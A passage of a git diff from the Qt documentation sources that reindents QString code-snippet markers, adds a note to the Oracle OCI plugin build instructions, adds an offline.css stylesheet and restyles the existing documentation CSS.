//! [70] QLocale::setDefault(QLocale::German); d = QString( "1234,56" ).toDouble(&ok); // ok == true, d == 1234.56 d = QString( "1234.56" ).toDouble(&ok); // ok == true, d == 1234.56 -//! [70] + //! [70] QLocale::setDefault(QLocale::C); d = QString( "1,234,567.89" ).toDouble(&ok); // ok == false } void Widget::toFloatFunction() { -//! [71] + //! [71] QString str1 = "1234.56"; str1.toFloat(); // returns 1234.56 bool ok; QString str2 = "R2D2"; str2.toFloat(&ok); // returns 0.0, sets ok to false -//! [71] + //! [71] } void Widget::toIntFunction() { -//! [72] + //! [72] QString str = "FF"; bool ok; int hex = str.toInt(&ok, 16); // hex == 255, ok == true int dec = str.toInt(&ok, 10); // dec == 0, ok == false -//! [72] + //! [72] } void Widget::toLongFunction() { -//! [73] + //! [73] QString str = "FF"; bool ok; long hex = str.toLong(&ok, 16); // hex == 255, ok == true long dec = str.toLong(&ok, 10); // dec == 0, ok == false -//! [73] + //! [73] } void Widget::toLongLongFunction() { -//! [74] + //! [74] QString str = "FF"; bool ok; qint64 hex = str.toLongLong(&ok, 16); // hex == 255, ok == true qint64 dec = str.toLongLong(&ok, 10); // dec == 0, ok == false -//! [74] + //! [74] } void Widget::toLowerFunction() { -//! [75] + //! [75] QString str = "Qt by NOKIA"; str = str.toLower(); // str == "qt by nokia" -//! [75] + //! [75] } void Widget::toShortFunction() { -//! [76] + //! [76] QString str = "FF"; bool ok; short hex = str.toShort(&ok, 16); // hex == 255, ok == true short dec = str.toShort(&ok, 10); // dec == 0, ok == false -//! [76] + //! [76] } void Widget::toUIntFunction() { -//! [77] + //! [77] QString str = "FF"; bool ok; uint hex = str.toUInt(&ok, 16); // hex == 255, ok == true uint dec = str.toUInt(&ok, 10); // dec == 0, ok == false -//! [77] + //! [77] } void Widget::toULongFunction() { -//! [78] + //! [78] QString str = "FF"; bool ok; ulong hex = str.toULong(&ok, 16); // hex == 255, ok == true ulong dec = str.toULong(&ok, 10); // dec == 0, ok == false -//! [78] + //! [78] } void Widget::toULongLongFunction() { -//! [79] + //! [79] QString str = "FF"; bool ok; quint64 hex = str.toULongLong(&ok, 16); // hex == 255, ok == true quint64 dec = str.toULongLong(&ok, 10); // dec == 0, ok == false -//! [79] + //! [79] } void Widget::toUShortFunction() { -//! [80] + //! [80] QString str = "FF"; bool ok; ushort hex = str.toUShort(&ok, 16); // hex == 255, ok == true ushort dec = str.toUShort(&ok, 10); // dec == 0, ok == false -//! [80] + //! [80] } void Widget::toUpperFunction() { -//! [81] + //! [81] QString str = "TeXt"; str = str.toUpper(); // str == "TEXT" -//! [81] + //! [81] } void Widget::trimmedFunction() { -//! [82] + //! [82] QString str = " lots\t of\nwhitespace\r\n "; str = str.trimmed(); // str == "lots\t of\nwhitespace" -//! [82] + //! [82] } void Widget::truncateFunction() { -//! [83] + //! [83] QString str = "Vladivostok"; str.truncate(4); // str == "Vlad" -//! [83] + //! [83] } void Widget::plusEqualOperator() { -//! [84] + //! [84] QString x = "free"; QString y = "dom"; x += y; // x == "freedom" -//! [84] + //! [84] } void Widget::arrayOperator() { -//! [85] + //! [85] QString str; if (str[0] == QChar('?')) str[0] = QChar('_'); -//! [85] + //! [85] } void Widget::midRefFunction() { -//! [midRef] + //! [midRef] QString x = "Nine pineapples"; QStringRef y = x.midRef(5, 4); // y == "pine" QStringRef z = x.midRef(5); // z == "pineapples" -//! [midRef] + //! [midRef] } void Widget::leftRefFunction() { -//! [leftRef] + //! [leftRef] QString x = "Pineapple"; QStringRef y = x.leftRef(4); // y == "Pine" -//! [leftRef] + //! [leftRef] } void Widget::rightRefFunction() { -//! [rightRef] + //! [rightRef] QString x = "Pineapple"; QStringRef y = x.rightRef(5); // y == "apple" -//! [rightRef] + //! [rightRef] } diff --git a/doc/src/sql-programming/sql-driver.qdoc b/doc/src/sql-programming/sql-driver.qdoc index 1476491..a4bcb97 100644 --- a/doc/src/sql-programming/sql-driver.qdoc +++ b/doc/src/sql-programming/sql-driver.qdoc @@ -314,7 +314,9 @@ \section3 How to Build the OCI Plugin on Windows Choosing the option "Programmer" in the Oracle Client Installer from - the Oracle Client Installation CD is sufficient to build the plugin. + the Oracle Client Installation CD is generally sufficient to build the + plugin. For some versions of Oracle Client, you may also need to select + the "Call Interface (OCI)" option if it is available. Build the plugin as follows (here it is assumed that Oracle Client is installed in \c{C:\oracle}): diff --git a/doc/src/template/style/narrow.css b/doc/src/template/style/narrow.css index fbb0752..39b4740 100644 --- a/doc/src/template/style/narrow.css +++ b/doc/src/template/style/narrow.css @@ -135,7 +135,7 @@ .creator .wrap { margin: 0px; - background:#FFFFFF; + background:#FFFFFF; } .narrow .wrap .toolbar { @@ -170,7 +170,7 @@ .narrow .wrap .breadcrumb ul li.last a { color: #363534; } - + #narrowsearch { display: none; } @@ -213,7 +213,7 @@ width: 64%; padding-left: 0; } - + .narrow .indexboxcont .sectionlist { width: 32.5%; } @@ -253,7 +253,7 @@ #narrowmenu li, #narrowmenu li ul { background-color: #fff; - margin-top:-1px; + margin-top:-1px; } #narrowmenu li ul { @@ -266,6 +266,6 @@ } /* end narrow mode */ - .creator #narrowsearch, .creator #narrowmenu{ - display:none; - } + .creator #narrowsearch, .creator #narrowmenu{ + display:none; + } diff --git a/doc/src/template/style/offline.css b/doc/src/template/style/offline.css new file mode 100644 index 0000000..4083a75 --- /dev/null +++ b/doc/src/template/style/offline.css @@ -0,0 +1,672 @@ +@media screen +{ + +/* basic elements */ + html + { + color: #000000; + background: #FFFFFF; + } + table + { + border-collapse: collapse; + border-spacing: 0; + } + fieldset, img + { + border: 0; + max-width:100%; + } + address, caption, cite, code, dfn, em, strong, th, var, optgroup + { + font-style: inherit; + font-weight: inherit; + } + del, ins + { + text-decoration: none; + } + li + { + list-style: none; + } + ol li + { + list-style: decimal; + } + caption, th + { + text-align: left; + } + h1, h2, h3, h4, h5, h6 + { + font-size: 100%; + } + q:before, q:after + { + content: ''; + } + abbr, acronym + { + border: 0; + font-variant: normal; + } + sup, sub + { + vertical-align: baseline; + } + tt, .qmlreadonly span, .qmldefault span + { + word-spacing:0.5em; + } + legend + { + color: #000000; + } + strong + { + font-weight: bold; + } + em + { + font-style: italic; + } + + body + { + margin-left: 0.5em; + margin-right: 0.5em; + } + a + { + color: #00732F; + text-decoration: none; + } + hr + { + background-color: #E6E6E6; + border: 1px solid #E6E6E6; + height: 1px; + width: 100%; + text-align: left; + margin: 1.5em 0 1.5em 0; + } + + pre + { + border: 1px solid #DDDDDD; + -moz-border-radius: 0.7em 0.7em 0.7em 0.7em; + -webkit-border-radius: 0.7em 0.7em 0.7em 0.7em; + border-radius: 0.7em 0.7em 0.7em 0.7em; + margin: 0 1.5em 1em 1em; + padding: 1em 1em 1em 1em; + overflow-x: auto; + } + table, pre + { + -moz-border-radius: 0.7em 0.7em 0.7em 0.7em; + -webkit-border-radius: 0.7em 0.7em 0.7em 0.7em; + border-radius: 0.7em 0.7em 0.7em 0.7em; + background-color: #F6F6F6; + border: 1px solid #E6E6E6; + border-collapse: separate; + margin-bottom: 2.5em; + } + pre { + font-size: 90%; + display: block; + overflow:hidden; + } + thead + { + margin-top: 0.5em; + font-weight: bold + } + th + { + padding: 0.5em 1.5em 0.5em 1.5em; + background-color: #E1E1E1; + border-left: 1px solid #E6E6E6; + } + td + { + padding: 0.25em 1.5em 0.25em 2em; + } + + td.rightAlign + { + padding: 0.25em 0.5em 0.25em 1em; + } + table tr.odd + { + border-left: 1px solid #E6E6E6; + background-color: #F6F6F6; + color: #66666E; + } + table tr.even + { + border-left: 1px solid #E6E6E6; + background-color: #ffffff; + color: #66666E; + } + + div.float-left + { + float: left; margin-right: 2em + } + div.float-right + { + float: right; margin-left: 2em + } + + span.comment + { + color: #008B00; + } + span.string, span.char + { + color: #000084; + } + span.number + { + color: #a46200; + } + span.operator + { + color: #202020; + } + span.keyword + { + color: #840000; + } + span.name + { + color: black + } + span.type + { + font-weight: bold + } + span.type a:visited + { + color: #0F5300; + } + span.preprocessor + { + color: #404040 + } +/* end basic elements */ + +/* font style elements */ + .heading + { + font-weight: bold; + font-size: 125%; + } + .subtitle + { + font-size: 110% + } + .small-subtitle + { + font-size: 100% + } + .red + { + color:red; + } +/* end font style elements */ + +/* global settings*/ + .header, .footer + { + display: block; + clear: both; + overflow: hidden; + } +/* end global settings*/ + +/* header elements */ + .header .qtref + { + color: #00732F; + font-weight: bold; + font-size: 130%; + } + + .header .content + { + margin-bottom: 0.5em + } + + .naviNextPrevious + { + display: none + } + .header .breadcrumb + { + font-size: 90%; + padding: 0.5em 0 0.5em 1em; + margin: 0; + background-color: #fafafa; + height: 1.35em; + border-bottom: 1px solid #d1d1d1; + } + + .header .breadcrumb ul + { + margin: 0; + padding: 0; + } + + .header .content + { + word-wrap: break-word; + } + + .header .breadcrumb ul li + { + float: left; + background: url(../images/breadcrumb.png) no-repeat 0 3px; + padding-left: 1.5em; + margin-left: 1.5em; + } + + .header .breadcrumb ul li.last + { + font-weight: normal; + } + + .header .breadcrumb ul li a + { + color: #00732F; + } + + .header .breadcrumb ul li.first + { + background-image: none; + padding-left: 0; + margin-left: 0; + } + + .header .content ol li { + background: none; + margin-bottom: 1.0em; + margin-left: 1.2em; + padding-left: 0 + } + + .header .content li + { + background: url(../images/bullet_sq.png) no-repeat 0 5px; + margin-bottom: 1em; + padding-left: 1.2em; + } + +/* end header elements */ + +/* content elements */ + .content h1 + { + font-weight: bold; + font-size: 150% + } + + .content h2 + { + font-weight: bold; + font-size: 135%; + width: 100%; + } + .content h3 + { + font-weight: bold; + font-size: 120%; + width: 100%; + } + .content table p + { + margin: 0 + } + .content ul + { + padding-left: 2.5em; + } + .content li + { + padding-top: 0.25em; + padding-bottom: 0.25em; + } + .content ul img { + vertical-align: middle; + } + + .content a:visited + { + color: #4c0033; + text-decoration: none; + } + + .content a:visited:hover + { + color: #4c0033; + text-decoration: underline; + } + + a:hover + { + color: #4c0033; + text-decoration: underline; + } + descr p a + { + text-decoration: underline; + } + + .descr p a:visited + { + text-decoration: underline; + } + + .alphaChar{ + width:95%; + background-color:#F6F6F6; + border:1px solid #E6E6E6; + -moz-border-radius: 7px 7px 7px 7px; + border-radius: 7px 7px 7px 7px; + -webkit-border-radius: 7px 7px 7px 7px; + font-size:12pt; + padding-left:10px; + margin-top:10px; + margin-bottom:10px; + } + .flowList{ + /*vertical-align:top;*/ + /*margin:20px auto;*/ + + column-count:3; + -webkit-column-count:3; + -moz-column-count:3; +/* + column-width:100%; + -webkit-column-width:200px; + -col-column-width:200px; +*/ + column-gap:41px; + -webkit-column-gap:41px; + -moz-column-gap:41px; + + column-rule: 1px dashed #ccc; + -webkit-column-rule: 1px dashed #ccc; + -moz-column-rule: 1px dashed #ccc; + } + + .flowList dl{ + } + .flowList dd{ + /*display:inline-block;*/ + margin-left:10px; + min-width:250px; + line-height: 1.5; + min-width:100%; + min-height:15px; + } + + .flowList dd a{ + } + + .content .flowList p{ + padding:0px; + } + + .content .alignedsummary + { + margin: 15px; + } + + + .qmltype + { + text-align: center; + font-size: 120%; + } + .qmlreadonly + { + padding-left: 5px; + float: right; + color: #254117; + } + + .qmldefault + { + padding-left: 5px; + float: right; + color: red; + } + + .qmldoc + { + } + + .generic .alphaChar{ + margin-top:5px; + } + + .generic .odd .alphaChar{ + background-color: #F6F6F6; + } + + .generic .even .alphaChar{ + background-color: #FFFFFF; + } + + .memItemRight{ + padding: 0.25em 1.5em 0.25em 0; + } + .highlightedCode + { + margin: 1.0em; + } + .annotated td { + padding: 0.25em 0.5em 0.25em 0.5em; + } + + .header .content .toc ul + { + padding-left: 0px; + } + + .content .toc h3 { + border-bottom: 0px; + margin-top: 0px; + } + + .content .toc h3 a:hover { + color: #00732F; + text-decoration: none; + } + + .content .toc .level2 + { + margin-left: 1.5em; + } + + .content .toc .level3 + { + margin-left: 3.0em; + } + + .content ul li + { + background: url(../images/bullet_sq.png) no-repeat 0 0.7em; + padding-left: 1em + } + + .content .toc li + { + background: url(../images/bullet_dn.png) no-repeat 0 5px; + padding-left: 1em + } + + .relpage + { + -moz-border-radius: 7px 7px 7px 7px; + -webkit-border-radius: 7px 7px 7px 7px; + border-radius: 7px 7px 7px 7px; + border: 1px solid #DDDDDD; + padding: 25px 25px; + clear: both; + } + .relpage ul + { + float: none; + padding: 1.5em; + } + + h3.fn, span.fn + { + -moz-border-radius:7px 7px 7px 7px; + -webkit-border-radius:7px 7px 7px 7px; + border-radius:7px 7px 7px 7px; + background-color: #F6F6F6; + border-width: 1px; + border-style: solid; + border-color: #E6E6E6; + font-weight: bold; + word-spacing:3px; + padding:3px 5px; + } + + .functionIndex { + font-size:12pt; + word-spacing:10px; + margin-bottom:10px; + background-color: #F6F6F6; + border-width: 1px; + border-style: solid; + border-color: #E6E6E6; + -moz-border-radius: 7px 7px 7px 7px; + -webkit-border-radius: 7px 7px 7px 7px; + border-radius: 7px 7px 7px 7px; + width:100%; + } + + .centerAlign + { + text-align:center; + } + + .rightAlign + { + text-align:right; + } + + .leftAlign + { + text-align:left; + } + + .topAlign{ + vertical-align:top + } + + .functionIndex a{ + display:inline-block; + } + +/* end content elements */ +/* footer elements */ + + .footer + { + color: #393735; + font-size: 0.75em; + text-align: center; + padding-top: 1.5em; + padding-bottom: 1em; + background-color: #E6E7E8; + margin: 0; + } + .footer p + { + margin: 0.25em + } + .small + { + font-size: 0.5em; + } +/* end footer elements */ + + .item { + float: left; + position: relative; + width: 100%; + overflow: hidden; + } + + + .item .primary { + margin-right: 220px; + position: relative; + } + + .item hr { + margin-left: -220px; + } + + .item .secondary { + float: right; + width: 200px; + position: relative; + } + + .item .cols { + clear: both; + display: block; + } + + .item .cols .col { + float: left; + margin-left: 1.5%; + } + + .item .cols .col.first { + margin-left: 0; + } + + .item .cols.two .col { + width: 45%; + } + + .item .box { + margin: 0 0 10px 0; + } + + .item .box h3 { + margin: 0 0 10px 0; + } + + .cols.unclear { + clear:none; + } +} + +/* end of screen media */ + +/* start of print media */ + +@media print +{ + input, textarea, .header, .footer, .toolbar, .feedback, .wrapper .hd, .wrapper .bd .sidebar, .wrapper .ft, #feedbackBox, #blurpage, .toc, .breadcrumb, .toolbar, .floatingResult + { + display: none; + background: none; + } + .content + { + background: none; + display: block; + width: 100%; margin: 0; float: none; + } +} +/* end of print media */ diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css index 16bc9ed..df2729c 100755 --- a/doc/src/template/style/style.css +++ b/doc/src/template/style/style.css @@ -1,8 +1,8 @@ @media screen { - + /* basic elements */ - html + html { color: #000000; background: #FFFFFF; @@ -20,7 +20,7 @@ fieldset, img { border: 0; - max-width:100%; + max-width:100%; } address, caption, cite, code, dfn, em, strong, th, var, optgroup { @@ -60,10 +60,10 @@ { vertical-align: baseline; } - tt, .qmlreadonly span, .qmldefault span - { - word-spacing:5px; - } + tt, .qmlreadonly span, .qmldefault span + { + word-spacing:5px; + } legend { color: #000000; @@ -88,7 +88,7 @@ font-style: italic; } - /* adding Qt theme */ + /* adding Qt theme */ html { /* background-color: #e5e5e5;*/ @@ -117,9 +117,9 @@ pre { border: 1px solid #DDDDDD; - -moz-border-radius: 7px 7px 7px 7px; - -webkit-border-radius: 7px 7px 7px 7px; - border-radius: 7px 7px 7px 7px; + -moz-border-radius: 7px 7px 7px 7px; + -webkit-border-radius: 7px 7px 7px 7px; + border-radius: 7px 7px 7px 7px; margin: 0 20px 10px 10px; padding: 20px 15px 20px 20px; overflow-x: auto; @@ -135,14 +135,14 @@ font-size: 11px; margin-bottom: 25px; } - pre.highlightedCode { - display: block; - overflow:hidden; - } + pre.highlightedCode { + display: block; + overflow:hidden; + } thead { margin-top: 5px; - font:600 12px/1.2 Arial; + font:600 12px/1.2 Arial; } th { @@ -155,11 +155,11 @@ padding: 3px 15px 3px 20px; } tr.odd td:hover, tr.even td:hover {} - - td.rightAlign - { + + td.rightAlign + { padding: 3px 5px 3px 10px; - } + } table tr.odd { border-left: 1px solid #E6E6E6; @@ -176,18 +176,52 @@ { /* background-color: #E6E6E6;*/ /* disabled until further notice */ } - + + div.float-left + { + float: left; margin-right: 2em + } + div.float-right + { + float: right; margin-left: 2em + } + span.comment { - color: #8B0000; - font-style: italic; + color: #008B00; } span.string, span.char { - color: #254117; + color: #000084; + } + span.number + { + color: #a46200; + } + span.operator + { + color: #202020; + } + span.keyword + { + color: #840000; + } + span.name + { + color: black + } + span.type + { + font-weight: bold + } + span.type a:visited + { + color: #0F5300; + } + span.preprocessor + { + color: #404040 } - - /* end basic elements */ /* font style elements */ @@ -204,10 +238,15 @@ { font-size: 13px; } - .red - { - color:red; - } + .red + { + color:red; + } + .figCaption{ + color:#363534; + font:italic 11px/1.2 Verdana; + padding-top:0; + } /* end font style elements */ /* global settings*/ @@ -231,8 +270,8 @@ clear: both; visibility: hidden; } - /* end global settings*/ + /* header elements */ .header { @@ -266,12 +305,12 @@ color: #4c0033; text-decoration: none; } - .content a:visited:hover + .content a:visited:hover { color: #4c0033; text-decoration: underline; } - + #nav-topright { height: 70px; @@ -317,7 +356,6 @@ background-position: -2px -117px; } - #nav-topright li.nav-topright-dev a { width: 30px; @@ -392,7 +430,6 @@ overflow: hidden; } - .shortCut-topleft-inactive { padding-left: 3px; @@ -404,10 +441,10 @@ { font-variant: normal; } - .shortCut-topleft-inactive span a:hover, .shortCut-topleft-active a:hover - { - text-decoration:none; - } + .shortCut-topleft-inactive span a:hover, .shortCut-topleft-active a:hover + { + text-decoration:none; + } #shortCut { padding-top: 10px; @@ -436,10 +473,8 @@ { color: #44a51c; } +/* end header elements */ - - -/* end header elements */ /* content and sidebar elements */ .wrapper { @@ -453,9 +488,6 @@ overflow: hidden; } - - - .wrapper .hd span { height: 15px; @@ -469,9 +501,6 @@ position: relative; } - - - .wrapper .ft { padding-left: 216px; @@ -480,9 +509,6 @@ overflow: hidden; } - - - .wrapper .ft span { height: 15px; @@ -490,17 +516,13 @@ background: url(../images/page.png) no-repeat 100% -60px; overflow: hidden; } - .navTop{ - float:right; - display:block; - padding-right:15px; - - - } - + .navTop{ + float:right; + display:block; + padding-right:15px; + } +/* end content and sidebar elements */ - -/* end content and sidebar elements */ /* sidebar elements */ .sidebar { @@ -510,11 +532,6 @@ font-size: 11px; } - - - - - .sidebar .searchlabel { padding: 0 0 2px 17px; @@ -529,9 +546,9 @@ .sidebar .search form { background: url(../images/sprites-combined.png) no-repeat -6px -348px; - height:21px; - padding:2px 0 0 5px; - width:167px; + height:21px; + padding:2px 0 0 5px; + width:167px; } .sidebar .search form input#pageType @@ -589,10 +606,10 @@ .sidebar .box .list { display: block; - max-height:200px; - min-height:120px; - overflow-y:auto; - overflow-x:none; + max-height:200px; + min-height:120px; + overflow-y:auto; + overflow-x:none; } .list li a:hover { @@ -600,9 +617,9 @@ } .sidebar .box ul { - padding-bottom:5px; - padding-left:10px; - padding-top:5px; + padding-bottom:5px; + padding-left:10px; + padding-top:5px; } .sidebar .box ul li { @@ -614,153 +631,150 @@ { background: url(../images/box_bg.png) repeat-x 0 bottom; } - .sidebar .box ul li.noMatch + .sidebar .box ul li.noMatch { background: none; - color:#FF2A00; - font-style:italic; + color:#FF2A00; + font-style:italic; } - .sidebar .box ul li.hit + .sidebar .box ul li.hit { background: none; - color:#AAD2F0; - font-style:italic; - } - .sidebar .search form input.loading - { - background:url("../images/spinner.gif") no-repeat scroll right center transparent; - } - - .sidebar .search form { - _height: 23px; - _width: 169px; - } - - #resultdialog { - display: none; - position: absolute; - *left: 30px; - _left: 0; - *top: 35px; - _top: 30px; - _zoom: 1; - background-color: #fff; - border: 1px solid #666; - z-index: 4; - margin-top: 5px; - _margin: 0 0 0 -20px; - padding: 10px; - width: 30%; - _width: 196px; - height: 250px; - overflow: auto; - -webkit-border-radius: .5em; - -moz-border-radius: .5em; - border-radius: .5em; - -webkit-box-shadow: 0 4px 6px 0 rgba(0,0,0,.2); - -moz-box-shadow: 0 4px 6px 0 rgba(0,0,0,.2); - box-shadow: 0 4px 6px 0 rgba(0,0,0,.2); - font-size: 11px; - } - - #resultdialog a - { + color:#AAD2F0; + font-style:italic; + } + .sidebar .search form input.loading + { + background:url("../images/spinner.gif") no-repeat scroll right center transparent; + } + + .sidebar .search form { + _height: 23px; + _width: 169px; + } + + #resultdialog { + display: none; + position: absolute; + *left: 30px; + _left: 0; + *top: 35px; + _top: 30px; + _zoom: 1; + background-color: #fff; + border: 1px solid #666; + z-index: 4; + margin-top: 5px; + _margin: 0 0 0 -20px; + padding: 10px; + width: 30%; + _width: 196px; + height: 250px; + overflow: auto; + -webkit-border-radius: .5em; + -moz-border-radius: .5em; + border-radius: .5em; + -webkit-box-shadow: 0 4px 6px 0 rgba(0,0,0,.2); + -moz-box-shadow: 0 4px 6px 0 rgba(0,0,0,.2); + box-shadow: 0 4px 6px 0 rgba(0,0,0,.2); + font-size: 11px; + } + + #resultdialog a + { color: #00732f; - } - - #resultdialog.active { - display: block; - } - - .narrow #resultdialog { - width: 60%; - _width: 360px; - } - - .narrow #resultdialog.active { - right: 10px; - *left: auto; - _left: auto; - _right: -20px; - } - - - #resultdialog #resultclose { - float: right; - } - - #resultdialog p, - #resultdialog ul { - clear: both; - margin: 3px 0; - } - - p#searchcount span { - display: none; - } - - p#searchcount.all span#resultcount, - p#searchcount.api span#apicount, - p#searchcount.article span#articlecount, - p#searchcount.example span#examplecount { - display: inline; - } - - #resultlist li { - display: none; - } - - #resultlist.api li.api, - #resultlist.article li.article, - #resultlist.example li.example, - #resultlist.all li { - display: block; - } - - #resultlinks.api a#showapiresults, - #resultlinks.api a#showapiresults:hover, - #resultlinks.article a#showarticleresults, - #resultlinks.article a#showarticleresults:hover, - #resultlinks.example a#showexampleresults, - #resultlinks.example a#showexampleresults:hover, - #resultlinks.all a#showallresults, - #resultlinks.all a#showallresults:hover { - color: #B0ADAB; - } - .floatingResult{ - z-index:1; - position:relative; - padding-top:0px; - background-color:white; - border:solid 1px black; - height:250px; - width:600px; - overflow-x:hidden; - overflow-y:auto; - } - - .floatingResult:hover{ - display:block; - } - .floatingResult:hover{ - } - + } + + #resultdialog.active { + display: block; + } + + .narrow #resultdialog { + width: 60%; + _width: 360px; + } + + .narrow #resultdialog.active { + right: 10px; + *left: auto; + _left: auto; + _right: -20px; + } + + + #resultdialog #resultclose { + float: right; + } + + #resultdialog p, + #resultdialog ul { + clear: both; + margin: 3px 0; + } + + p#searchcount span { + display: none; + } + + p#searchcount.all span#resultcount, + p#searchcount.api span#apicount, + p#searchcount.article span#articlecount, + p#searchcount.example span#examplecount { + display: inline; + } + + #resultlist li { + display: none; + } + + #resultlist.api li.api, + #resultlist.article li.article, + #resultlist.example li.example, + #resultlist.all li { + display: block; + } + + #resultlinks.api a#showapiresults, + #resultlinks.api a#showapiresults:hover, + #resultlinks.article a#showarticleresults, + #resultlinks.article a#showarticleresults:hover, + #resultlinks.example a#showexampleresults, + #resultlinks.example a#showexampleresults:hover, + #resultlinks.all a#showallresults, + #resultlinks.all a#showallresults:hover { + color: #B0ADAB; + } + .floatingResult{ + z-index:1; + position:relative; + padding-top:0px; + background-color:white; + border:solid 1px black; + height:250px; + width:600px; + overflow-x:hidden; + overflow-y:auto; + } + + .floatingResult:hover{ + display:block; + } + .floatingResult:hover{ + } /* end sidebar elements */ + /* content elements */ .wrap { margin: 0 5px 0 208px; - overflow: visible; + overflow: visible; } - - - .wrap .toolbar { background-color: #fafafa; border-bottom: 1px solid #d1d1d1; - height: 20px; + height: 20px; position: relative; } .wrap .toolbar .toolblock @@ -842,11 +856,10 @@ color: #00732F; } - .wrap .content { padding: 30px; - word-wrap:break-word; + word-wrap:break-word; } .wrap .breadcrumb ul @@ -875,32 +888,29 @@ margin-left: 0; } + .wrap .content ol li { + background:none; + font:normal 10pt/1.2 Verdana; - - - .wrap .content ol li { - background:none; - font:normal 10pt/1.2 Verdana; - - margin-bottom:10px; - margin-left:12px; - /*list-style-type:disc;*/ - } + margin-bottom:10px; + margin-left:12px; + /*list-style-type:disc;*/ + } .wrap .content ol li { - background:none; - margin-bottom: 10px; - padding-left:0px; - margin-left:52px; + background:none; + margin-bottom: 10px; + padding-left:0px; + margin-left:52px; } - + .wrap .content li { background: url(../images/bullet_sq.png) no-repeat 0 5px; font: normal 400 10pt/1.2 Verdana; - margin-bottom: 10px; - padding-left:12px; + margin-bottom: 10px; + padding-left:12px; } .content li:hover {} @@ -911,16 +921,16 @@ } .wrap .content h2 { - font:600 16px/1.2 Arial; - margin-top:15px; - width:100%; + font:600 16px/1.2 Arial; + margin-top:15px; + width:100%; } .wrap .content h3 { font: bold 14px/1.2 Arial; - font:600 16px/1.2 Arial; - margin-top:15px; - width:100%; + font:600 16px/1.2 Arial; + margin-top:15px; + width:100%; } .wrap .content p { @@ -930,25 +940,25 @@ .wrap .content table p { line-height: 20px; - } + } .wrap .content ul { padding-left: 25px; padding-top: 10px; } - .wrap .content ul img { - vertical-align:middle; - } + .wrap .content ul img { + vertical-align:middle; + } a:hover { color: #4c0033; text-decoration: underline; } - descr p a + descr p a { text-decoration: underline; } - + .descr p a:visited { text-decoration: underline; @@ -969,56 +979,56 @@ color: #00732F; text-decoration: underline; } - .alphaChar{ - width:95%; - background-color:#F6F6F6; - border:1px solid #E6E6E6; - -moz-border-radius: 7px 7px 7px 7px; - border-radius: 7px 7px 7px 7px; - -webkit-border-radius: 7px 7px 7px 7px; - font-size:12pt; - padding-left:10px; - margin-top:10px; - margin-bottom:10px; - } - .flowList{ - /*vertical-align:top;*/ - /*margin:20px auto;*/ - - column-count:3; - -webkit-column-count:3; - -moz-column-count:3; + .alphaChar{ + width:95%; + background-color:#F6F6F6; + border:1px solid #E6E6E6; + -moz-border-radius: 7px 7px 7px 7px; + border-radius: 7px 7px 7px 7px; + -webkit-border-radius: 7px 7px 7px 7px; + font-size:12pt; + padding-left:10px; + margin-top:10px; + margin-bottom:10px; + } + .flowList{ + /*vertical-align:top;*/ + /*margin:20px auto;*/ + + column-count:3; + -webkit-column-count:3; + -moz-column-count:3; /* - column-width:100%; - -webkit-column-width:200px; - -col-column-width:200px; + column-width:100%; + -webkit-column-width:200px; + -col-column-width:200px; */ - column-gap:41px; - -webkit-column-gap:41px; - -moz-column-gap:41px; - - column-rule: 1px dashed #ccc; - -webkit-column-rule: 1px dashed #ccc; - -moz-column-rule: 1px dashed #ccc; - } - - .flowList dl{ - } - .flowList dd{ - /*display:inline-block;*/ - margin-left:10px; - min-width:250px; - line-height: 1.5; - min-width:100%; - min-height:15px; - } - - .flowList dd a{ - } - - .wrap .content .flowList p{ - padding:0px; - } + column-gap:41px; + -webkit-column-gap:41px; + -moz-column-gap:41px; + + column-rule: 1px dashed #ccc; + -webkit-column-rule: 1px dashed #ccc; + -moz-column-rule: 1px dashed #ccc; + } + + .flowList dl{ + } + .flowList dd{ + /*display:inline-block;*/ + margin-left:10px; + min-width:250px; + line-height: 1.5; + min-width:100%; + min-height:15px; + } + + .flowList dd a{ + } + + .wrap .content .flowList p{ + padding:0px; + } .content .alignedsummary { @@ -1068,7 +1078,7 @@ background-color: #e6e7e8; z-index: 4; } - #feedcloseX + #feedcloseX { display: inline; padding: 5px 5px 0 0; @@ -1086,25 +1096,25 @@ height: 120px; margin: 0px 25px 10px 15px; } - #noteHead - { - font-weight:bold; - padding:10px 10px 10px 20px; - } + #noteHead + { + font-weight:bold; + padding:10px 10px 10px 20px; + } #feedsubmit { display: inline; float: right; margin: 4px 32px 0 0; } - - .note - { - font-size:7pt; - padding-bottom:3px; - padding-left:20px; - } - + + .note + { + font-size:7pt; + padding-bottom:3px; + padding-left:20px; + } + #blurpage { display: none; @@ -1136,67 +1146,67 @@ font: bold 12px/1.2 Arial; } - .generic{ - } - .generic td{ - /* padding:5px;*/ - } - .generic .alphaChar{ - margin-top:5px; - } - - .generic .odd .alphaChar{ + .generic{ + } + .generic td{ + /* padding:5px;*/ + } + .generic .alphaChar{ + margin-top:5px; + } + + .generic .odd .alphaChar{ background-color: #F6F6F6; - } - - .generic .even .alphaChar{ + } + + .generic .even .alphaChar{ background-color: #FFFFFF; - } - - .alignedsummary{} - .propsummary{} - .memItemLeft{} - .memItemRight{ - padding:3px 15px 3px 0; - } - .bottomAlign{} - .highlightedCode - { - margin:10px; - } - .LegaleseLeft{} - .valuelist{} - .annotated td{ - padding: 3px 5px 3px 5px; - } - .obsolete{} - .compat{} - .flags{} - .qmlsummary{} - .qmlitem{} - .qmlproto{} - .qmlname{} - .qmlreadonly{} - .qmldefault{} - .qmldoc{} - .qt-style{} - .redFont{} - code{} - + } + + .alignedsummary{} + .propsummary{} + .memItemLeft{} + .memItemRight{ + padding:3px 15px 3px 0; + } + .bottomAlign{} + .highlightedCode + { + margin:10px; + } + .LegaleseLeft{} + .valuelist{} + .annotated td{ + padding: 3px 5px 3px 5px; + } + .obsolete{} + .compat{} + .flags{} + .qmlsummary{} + .qmlitem{} + .qmlproto{} + .qmlname{} + .qmlreadonly{} + .qmldefault{} + .qmldoc{} + .qt-style{} + .redFont{} + code{} + .wrap .content .toc ul { padding-left: 0px; } - .wrap .content .toc h3{ - border-bottom:0px; - margin-top:0px; - } - - .wrap .content .toc h3 a:hover{ - color:#00732F; - text-decoration:none; - } + .wrap .content .toc h3{ + border-bottom:0px; + margin-top:0px; + } + + .wrap .content .toc h3 a:hover{ + color:#00732F; + text-decoration:none; + } .wrap .content .toc .level2 @@ -1234,60 +1244,58 @@ } h3.fn, span.fn { - -moz-border-radius:7px 7px 7px 7px; - -webkit-border-radius:7px 7px 7px 7px; - border-radius:7px 7px 7px 7px; + -moz-border-radius:7px 7px 7px 7px; + -webkit-border-radius:7px 7px 7px 7px; + border-radius:7px 7px 7px 7px; background-color: #F6F6F6; border-width: 